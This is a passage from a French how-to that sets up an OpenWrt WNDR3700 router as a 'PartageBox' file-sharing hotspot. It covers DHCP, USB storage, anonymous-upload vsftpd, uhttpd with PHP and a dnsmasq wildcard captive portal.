<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;dest_port&#8217; &#8217;68&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;target&#8217; &#8216;ACCEPT&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;family&#8217; &#8216;ipv4&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;rule&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;src&#8217; &#8216;wan&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;proto&#8217; &#8216;icmp&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;icmp_type&#8217; &#8216;echo-request&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;target&#8217; &#8216;ACCEPT&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;include&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;path&#8217; &#8216;/etc/firewall.user&#8217;</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">La configuration est pratiquement terminée, ne reste que le dhcp à paramétrer pour l&#8217;interface wifi. Ajoutez la section suivante dans le fichier <span style="color: #000000;">/etc/config/dhcp :</span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;dhcp&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;interface&#8217; &#8216;wifi&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;start&#8217; &#8217;100&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;limit&#8217; &#8217;150&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;leasetime&#8217; &#8217;12h&#8217;</span></div>
<div style="text-align: justify;">Et le fichier complet :</div>
<div style="text-align: justify;"><span style="color: #000000;">dhcp </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;dnsmasq&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;domainneeded&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;boguspriv&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;filterwin2k&#8217; &#8217;0&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;localise_queries&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;rebind_protection&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;rebind_localhost&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;local&#8217; &#8216;/lan/&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;domain&#8217; &#8216;lan&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;expandhosts&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;nonegcache&#8217; &#8217;0&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;authoritative&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;readethers&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;leasefile&#8217; &#8216;/tmp/dhcp.leases&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;resolvfile&#8217; &#8216;/tmp/resolv.conf.auto&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;dhcp&#8217; &#8216;lan&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;interface&#8217; &#8216;lan&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;start&#8217; &#8217;100&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;limit&#8217; &#8217;150&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;leasetime&#8217; &#8217;12h&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;dhcp&#8217; &#8216;wan&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;interface&#8217; &#8216;wan&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;ignore&#8217; &#8217;1&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;">config &#8216;dhcp&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;interface&#8217; &#8216;wifi&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;start&#8217; &#8217;100&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;limit&#8217; &#8217;150&#8242; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;leasetime&#8217; &#8217;12h&#8217;</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">La configuration du réseau est terminée. Pour que les changements soient pris en compte redémarrez les services concernés :</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ /etc/init.d/network restart </span></div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ /etc/init.d/wifi </span></div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ /etc/init.d/firewall restart </span></div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ /etc/init.d/dhcp restart </span></div>
<h3>2.2 Configuration usb</h3>
<div style="text-align: justify;">Nous allons maintenant mettre en place le support des périphériques usb. Sur le wndr3700, le port usb peut même recevoir des disques durs auto-alimentés. Il faut installer les packages kmod-usb2, kmod-ohci, kmod-usb-storage et kmod-leds-wndr3700-usb (pour la déco). N&#8217;oubliez pas de connecter le port jaune de votre routeur à votre modem. Une connexion Internet est nécessaire pour pouvoir télécharger les packages ci-dessous.</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ opkg update </span></div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ opkg install packages kmod-usb2 kmod-ohci kmod-usb-storage kmod-leds-wndr3700-usb</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Installez également les systèmes de fichiers de vos périphériques usb. Nous utiliserons ext3 qui est géré par le package kmod-fs-ext4</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ opkg install kmod-fs-ext4</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Il faut maintenant formater votre clé usb ou disque au format ext3. Le package e2fsprogs contient l&#8217;outil mkfs que nous allons utiliser.</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ opkg install e2fsprogs</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Connectez votre clé/disque dur sur le routeur. L&#8217;étiquette associée est /dev/sda1. C&#8217;est vérifiable en consultant la commande</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ dmesg</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Lancez le formatage (inutile de vous rappeler que toutes les données contenues sur le périphérique seront effacées)</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ mkfs.ext3 /dev/sda1</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Vous pouvez maintenant monter votre clé sur le routeur. Créez d&#8217;abord le répertoire depuis lequel la clé sera accèdée</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ mkdir /mnt/usb</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">et puis montez :</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ mount -t ext3 /dev/sda1 /mnt/usb</span></div>
<div style="text-align: justify;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Vérifiez le fonctionnement en créant un fichier sur la clé/disque</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ echo &#8216;hello&#8217; &gt; /mnt/usb/hello</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Si pas d&#8217;erreur tout est OK.</div>
<div style="text-align: justify;">Faisons en sorte maintenant que le périphérique soit automatiquement monté au démarrage. Pour manipuler le fstab il faut installez le package block-mount</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ opkg install block-mount</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Editez la section mount du fichier <span style="color: #800000;">/etc/config/fstab </span>pour qu&#8217;elle ressemble à ceci :</div>
<div style="text-align: left;"><span style="color: #800000;">config mount </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option target /mnt/usb </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option device /dev/sda1 </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option fstype ext3 </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option options rw,sync </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option enabled 1 </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option enabled_fsck 0 </span></div>
<div style="text-align: justify;">le fichier complet :</div>
<div style="text-align: justify;">fstab</div>
<div style="text-align: left;"><span style="color: #800000;">config global automount </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option from_fstab 1 </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option anon_mount 1 </span></div>
<div style="text-align: left;"><span style="color: #800000;">config global autoswap </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option from_fstab 1 </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option anon_swap 0 </span></div>
<div style="text-align: left;"><span style="color: #800000;">config mount </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option target /mnt/usb </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option device /dev/sda1 </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option fstype ext3 </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option options rw,sync </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option enabled 1 </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option enabled_fsck 0 </span></div>
<div style="text-align: left;"><span style="color: #800000;">config swap </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option device /dev/sda2 </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option enabled 0 </span></div>
<h3>2.3 Configurations diverses</h3>
<div style="text-align: justify;">Avant de terminer la configuration de base, ajoutons quelques fonctionnalités supplémentaires spécifiques au Netgear. Présence d&#8217;un périférique usb :</div>
<div style="text-align: justify;">Créez ou éditez le fichier<span style="color: #800000;"> /etc/hotplug.d/usb/10-usb</span></div>
<div style="text-align: left;"><span style="color: #800000;">10-usb</span></div>
<div style="text-align: left;"><span style="color: #800000;">10-usb</span></div>
<div style="text-align: left;"><span style="color: #800000;">#!/bin/sh </span></div>
<div style="text-align: left;"><span style="color: #800000;"># Copyright (C) 2009 OpenWrt.org </span></div>
<div style="text-align: left;"><span style="color: #800000;">case &#8220;$ACTION&#8221; in </span></div>
<div style="text-align: left;"><span style="color: #800000;">add) </span></div>
<div style="text-align: left;"><span style="color: #800000;"># update LEDs </span></div>
<div style="text-align: left;"><span style="color: #800000;">echo &#8220;255&#8243; &gt;/sys/devices/platform/wndr3700-led-usb/leds/wndr3700:green:usb/brightness </span></div>
<div style="text-align: left;"><span style="color: #800000;">;; </span></div>
<div style="text-align: left;"><span style="color: #800000;">remove) </span></div>
<div style="text-align: left;"><span style="color: #800000;"># update LEDs </span></div>
<div style="text-align: left;"><span style="color: #800000;">echo &#8220;0&#8243; &gt;/sys/devices/platform/wndr3700-led-usb/leds/wndr3700:green:usb/brightness </span></div>
<div style="text-align: left;"><span style="color: #800000;">;; </span></div>
<div style="text-align: left;"><span style="color: #800000;">esac</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Configuration du bouton wifi :</div>
<div style="text-align: justify;">Cela permet de couper complétement le wifi simplement en appuyant sur le bouton ( ( ° ) ) de votre routeur.</div>
<div style="text-align: justify;">Créez le fichier<span style="color: #800000;"> /etc/hotplug.d/button/10-radio-toggle </span></div>
<div style="text-align: left;"><span style="color: #800000;">10-radio-toggle </span></div>
<div style="text-align: left;"><span style="color: #800000;">#!/bin/sh </span></div>
<div style="text-align: left;"><span style="color: #800000;">if [ "$BUTTON" = "BTN_2" ] &amp;&amp; [ "$ACTION" = "pressed" ]; then </span></div>
<div style="text-align: left;"><span style="color: #800000;">if [ -d /var/run/hostapd-phy0 -o -d /var/run/hostapd-phy1 ]; then </span></div>
<div style="text-align: left;"><span style="color: #800000;">logger &#8220;WiFi button used: WiFi down&#8221; </span></div>
<div style="text-align: left;"><span style="color: #800000;">/sbin/wifi down </span></div>
<div style="text-align: left;"><span style="color: #800000;">else </span></div>
<div style="text-align: left;"><span style="color: #800000;">logger &#8220;WiFi button used: WiFi up&#8221; </span></div>
<div style="text-align: left;"><span style="color: #800000;">/sbin/wifi up </span></div>
<div style="text-align: left;"><span style="color: #800000;">fi </span></div>
<div style="text-align: left;"><span style="color: #800000;">fi </span></div>
<div style="text-align: justify;">La configuration de base est maintenant terminée !</div>
<h2>3 Configuration des services</h2>
<div style="text-align: justify;">Nous pouvons donc maintenant configurer les services utiles au partage de fichiers et à l&#8217;accueil des utilisateurs.</div>
<h3>3.1 Configuration du serveur web</h3>
<div style="text-align: justify;">Le serveur web uhttpd est déjà installé par défaut. Nous allons simplement y installer le support php et revoir quelques paramètres de sa configuration.</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ opkg install php5 php5-fastcgi php5-mod-session</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">La configuration d&#8217;uhttpd se trouve dans le fichier <span style="color: #800000;">/etc/config/uhttpd</span> Voici la configuration qui nous sera nécessaire :</div>
<div style="text-align: justify;">uhttpd</div>
<div style="text-align: left;"><span style="color: #800000;">config uhttpd main </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span># Ecoute sur l&#8217;adresse de l&#8217;interface wifi </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>list listen_http 192.168.2.1:80 </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span># Racine des fichiers </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option home /www </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span># Ajoutons le support de php </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>list interpreter &#8220;.php=/usr/bin/php-cgi&#8221; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span># les pages d&#8217;index </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;index_page&#8217; &#8216;index.php,index.html&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span># la page d&#8217;erreur </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span># important pour le portail captif, doit être la même que la page d&#8217;accueil du portail </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;error_page&#8217; &#8216;/index.php&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;"><span style="white-space: pre;"> </span>option &#8216;nodirlist&#8217; &#8216;yes&#8217;</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Redémarrez le serveur web :</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ /etc/init.d/uhttpd restart </span></div>
<h3>3.2 Configuration du serveur ftp</h3>
<div style="text-align: justify;">Tout d&#8217;abord avant de passer directement à l&#8217;installation et la configuration du serveur, nous allons préparer le répertoire dans lequel seront stockés les fichiers partagés. Nous avons pour cela déjà fait un premier pas en installant le support usb complet. Créez maintenant le</div>
<div style="text-align: justify;">répertoire racine uploads/ sur votre périphérique usb.</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ mkdir /mnt/usb/uploads</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">A l&#8217;intérieur de ce répertoire il faut créer le répertoire dans lequel seront déposés les fichiers.</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ mkdir /mnt/usb/uploads/files</span></div>
<div style="text-align: justify;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Le propriétaire de ce répertoire doit être l&#8217;utilisateur ftp.</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ chown ftp:ftp /mnt/usb/uploads/files</span></div>
<div style="text-align: justify;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;">Pourquoi deux répertoires ? Nous allons utiliser les connexions anonymes et vsftpd, notre serveur ftp, exige que le propriétaire du répertoire de connexion (upload/) ne soit pas l&#8217;utilisateur anonyme ftp.</div>
<div style="text-align: left;">Changez maintenant le répertoire de l&#8217;utilisateur ftp. Editez le fichier <span style="color: #800000;">/etc/passwd</span> remplacez la ligne <span style="color: #800000;">ftp:x:XY:XY:FTP</span><span style="color: #800000;"> User:/var/ftp:/sbin/nologin</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;">par la ligne<span style="color: #800000;"> ftp:x:XY:XY:FTP User:/mnt/usb/uploads:/sbin/nologin</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Maintenant nous pouvons passer à l&#8217;installation de vsftpd</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ opkg install vsftpd</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Il n&#8217;est pas démarré par défaut, activons-le</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ /etc/init.d/vsftpd enable</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Plutôt que de décrire étape par étape la construction laborieuse du fichier de configuration /etc/vsftpd.conf , voici sa version complète et commentée.</div>
<div style="text-align: justify;">vsftpd.conf</div>
<div style="text-align: left;"><span style="color: #800000;">background=YES </span></div>
<div style="text-align: left;"><span style="color: #800000;">listen=YES </span></div>
<div style="text-align: left;"><span style="color: #800000;"># précise le user utilisé pour les processus de vsftpd </span></div>
<div style="text-align: left;"><span style="color: #800000;">ftp_username=ftp </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># active les connexions anonymes </span></div>
<div style="text-align: left;"><span style="color: #800000;">anonymous_enable=YES </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># active l&#8217;upload pour les connexions anonymes </span></div>
<div style="text-align: left;"><span style="color: #800000;">anon_upload_enable=YES </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># défini le répertoire de connexion pour les utilisateurs anonymes </span></div>
<div style="text-align: left;"><span style="color: #800000;"># ici l&#8217;emplacement que nous venons de créer sur le disque usb </span></div>
<div style="text-align: left;"><span style="color: #800000;">anon_root=/mnt/usb/uploads </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># les utilisateurs anonymes ne peuvent voir que les fichiers visibles </span></div>
<div style="text-align: left;"><span style="color: #800000;"># par tout les utilisateurs du système (option de sécurité) </span></div>
<div style="text-align: left;"><span style="color: #800000;">anon_world_readable_only=YES </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># une session inactive est déconnecté au bout de X secondes </span></div>
<div style="text-align: left;"><span style="color: #800000;">idle_session_timeout=300 </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># désactive le download/upload ascii vecteur potentiel de faille de sécurité (ddos) </span></div>
<div style="text-align: left;"><span style="color: #800000;">ascii_download_enable=NO </span></div>
<div style="text-align: left;"><span style="color: #800000;">ascii_upload_enable=NO </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># cache le vrai propriétaire d&#8217;un fichier et le remplace par &#8216;ftp&#8217; </span></div>
<div style="text-align: left;"><span style="color: #800000;">hide_ids=YES </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># désactive les logs (on a pas la place sur le routeur) </span></div>
<div style="text-align: left;"><span style="color: #800000;">syslog_enable=NO </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># répertoire vide dans lequel vsftpd se place après la connexion </span></div>
<div style="text-align: left;"><span style="color: #800000;"># d&#8217;un utilisateur non anonyme (non utilisé pour l&#8217;instant) </span></div>
<div style="text-align: left;"><span style="color: #800000;">local_root=/usr/share/empty </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># utilisateur sans privilège utilisé pour lancer les processus de vsftpd </span></div>
<div style="text-align: left;"><span style="color: #800000;">nopriv_user=ftp </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># change le propriétaire des fichiers uploadés </span></div>
<div style="text-align: left;"><span style="color: #800000;">chown_uploads=YES </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># les fichiers uploadés auront les droits 644 par défaut </span></div>
<div style="text-align: left;"><span style="color: #800000;">chown_upload_mode=0644 </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># le nom du propriétaire pour les fichiers uploadés </span></div>
<div style="text-align: left;"><span style="color: #800000;">chown_username=ftp </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># message d&#8217;accueil suite à la connexion de l&#8217;utilisateur </span></div>
<div style="text-align: left;"><span style="color: #800000;">ftpd_banner=Welcome to PARTAGE-B0x FTP server! </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># désactive les utilisateurs locaux vu qu&#8217;on ne s&#8217;en sert pas dans notre cas </span></div>
<div style="text-align: left;"><span style="color: #800000;">local_enable=NO </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># autorise l&#8217;écriture (donc l&#8217;upload) sur le serveur </span></div>
<div style="text-align: left;"><span style="color: #800000;">write_enable=YES </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># chown_upload prend le dessus sur ces directives dans notre cas </span></div>
<div style="text-align: left;"><span style="color: #800000;">#local_umask=0022 </span></div>
<div style="text-align: left;"><span style="color: #800000;">#anon_umask=0022 </span></div>
<div style="text-align: left;"><span style="color: #800000;"># ne vérifie pas si l&#8217;utilisateur dispose d&#8217;un véritable shell de connexion </span></div>
<div style="text-align: left;"><span style="color: #800000;"># dans le cas d&#8217;utilisateurs virtuels (non utilisé ici) </span></div>
<div style="text-align: left;"><span style="color: #800000;">check_shell=NO </span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: left;"><span style="color: #800000;"># inutile, nous ne loggons pas les connexions </span></div>
<div style="text-align: left;"><span style="color: #800000;">session_support=NO</span></div>
<h3>3.3 Configuration du portail captif</h3>
<div style="text-align: justify;">Le portail captif est le système qui va rediriger automatiquement l&#8217;utilisateur de la box vers une page d&#8217;accueil rédigée par nos soins. Il permet également de mettre en place des règles de sécurité au travers du firewall. D&#8217;ordinaire un portail captif est utilisé pour authentifier les utilisateurs puis de leur laisser l&#8217;accès libre à Internet. Cependant nous n&#8217;avons besoin ici que du mécanisme de redirection. Un portail captif complet est un outil sur-dimensionné par rapport à nos besoins. Pour mettre en place cette redirection nous allons utiliser une technique simple.</div>
<div style="text-align: justify;">Pour simplifier, lorsque l&#8217;utilisateur entre une url dans son navigateur, celui-ci lui demande au routeur l&#8217;enregistrement DNS correspondant avec l&#8217;ip du serveur correspondant à l&#8217;url. Pour rediriger n&#8217;importe qu&#8217;elle url vers notre page d&#8217;accueil il suffit de mentir sur cet enregistrement DNS et de lui fournir non pas l&#8217;ip du serveur qu&#8217;il demande mais celle de notre serveur web. Le serveur dns par défaut d&#8217;Openwrt est dnsmasq.</div>
<div style="text-align: justify;">Editez le fichier <span style="color: #800000;">/etc/dnsmasq.conf </span>et ajoutez à la l&#8217;option suivante :</div>
<div style="text-align: left;"><span style="color: #800000;">address=/#/192.168.2.1</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Redémarrez maintenant le serveur DNS pour que la modification soit prise en compte Attention tout de même une fois cette modification effectuée dnsmasq mentira pour toutes les requêtes. Vous ne pourrez par exemple plus installer de nouveaux packages. Pas d&#8217;inquiétude cependant c&#8217;est tout à fait réversible. Vous pouvez commenter la ligne ci-dessus en ajoutant un # devant et lorsque que vous redémarrerez à nouveau dnsmasq l&#8217;accès sera rétabli.</div>
<div style="text-align: left;"><span style="color: #800000;">root@openwrt:~$ /etc/init.d/dhcp restart</span></div>
<div style="text-align: left;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Tout les enregistrements demandés retourneront désormais l&#8217;adresse de notre serveur 192.168.2.1 Il est possible tout de même d&#8217;y ajouter des exceptions référez-vous à la doc de <a title="dnsmasq" href="http://www.thekelleys.org.uk/dnsmasq/docs/dnsmasq-man.html">dnsmasq</a> pour cela. Maintenant il suffit d&#8217;ajouter votre page d&#8217;accueil index.php ou index.html dans le répertoire du serveur web (/www) pour que les utilisateurs soient redirigés automatiquement.</div>
<div style="text-align: justify;">Pour l&#8217;instant cette technique ne fonctionne que si l&#8217;utilisateur demande une url simple :</div>
<div style="text-align: justify;"><span style="color: #800000;">www.google.com </span></div>
<div style="text-align: justify;">Si l&#8217;url demandée est :</div>
<div style="text-align: justify;"><span style="color: #800000;">www.google.com/images</span></div>
<div style="text-align: justify;"><span style="color: #800000;"><br />
</span></div>
<div style="text-align: justify;">Uhttpd remontera une erreur comme quoi cette page n&#8217;existe pas. Pour le contrer la page d&#8217;erreur retournée doit-être la même que la page d&#8217;accueil. L&#8217;effet sera alors transparent. Si vous avez suivi les instructions de ce guide la page d&#8217;erreur configurée est déjà index.php. Sinon reportez-vous à la section correspondante de l&#8217;article.</div>
<div style="text-align: justify;">
<div class="wp-caption alignnone" style="width: 622px"><a href="Partage-B0X remixed"><img class=" " title="Partage-B0X remixed" src="http://attackvector.free.fr/diy/partage-b0x/img/partageboxremix.png" alt="Partage-B0X remixed" width="612" height="356" /></a><p class="wp-caption-text">Partage-B0X remixed</p></div>
</div>
<div style="text-align: justify;">Voici une archive dans laquelle vous trouverez la page utilisée dans la PartageBox. Elle comprend une FAQ du projet avec une shoutbox très simple pour permettre aux utilisateurs de laisser un message. Libre à vous de la réutiliser ou de la modifier.</div>
<div style="text-align: justify;">
<div style="text-align: justify;">La configuration du portail captif est terminée, place à quelques notes quant à la  finalisation de notre partagebox.</div>
<h2>Conclusion : ENJOY !</h2>
